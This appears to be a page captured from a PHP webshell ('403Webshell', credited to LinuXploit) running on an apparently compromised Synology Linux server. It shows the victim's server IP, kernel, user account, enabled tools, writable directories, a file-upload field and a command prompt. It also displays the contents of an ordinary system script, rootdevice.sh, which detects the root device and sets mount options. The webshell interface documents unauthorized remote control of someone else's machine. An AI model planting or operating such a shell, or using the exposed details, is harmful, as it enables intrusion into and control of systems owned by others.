403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/share/rootdevice.sh
[ -z "$__INCLUDE_ROOTDEVICE_SH__" ] || return
readonly __INCLUDE_ROOTDEVICE_SH__=defined

. /usr/syno/share/projectquota.sh

PLAT_NAME=$(/bin/get_key_value /etc.defaults/synoinfo.conf platform_name)
RootRawDevice=$(/bin/grep -oE '[ ]*root=[^ ]*' -- /proc/cmdline | /bin/cut -d= -f2)
RootRaidDevice=/dev/md0

GetRootDevice()
{
	if [ -b /dev/synorbd_system ]; then
		echo "/dev/synorbd_system"
	elif [ "$PLAT_NAME" == "kvmx64sofs" ];then
		echo "/dev/sata1p1"
	else
		echo "$RootRawDevice"
	fi
}
RootDevice="$(GetRootDevice)"

GetRootMountPath()
{
	if [ -L /dev/system-root ]; then
		echo "/dev/system-root"
	else
		echo "$RootDevice"
	fi
}

GetRootFsType()
{
	if [ -x /sbin/blkid ]; then
		/sbin/blkid "$(GetRootMountPath)" -ovalue -sTYPE
	else
		# warning: it might be a legacy ext3, but not a real ext4.
		echo "ext4"
	fi
}

IsBtrfsRootFs()
{
	[ "$(GetRootFsType)" = "btrfs" ]
}

GetRootMountOpt()
{
	case "$(GetRootFsType)" in
		btrfs)
			echo "-onoatime"
			;;
		*) # ext4 as default
			PQMountOpt="$(GetPQMountOpt "$(GetRootMountPath)")"

			if [ -z "$PQMountOpt" ]; then
				echo "-obarrier=1,noatime"
			else
				echo "$PQMountOpt,barrier=1,noatime"
			fi
			;;
	esac
}


Youez - 2016 - github.com/yon3zu
LinuXploit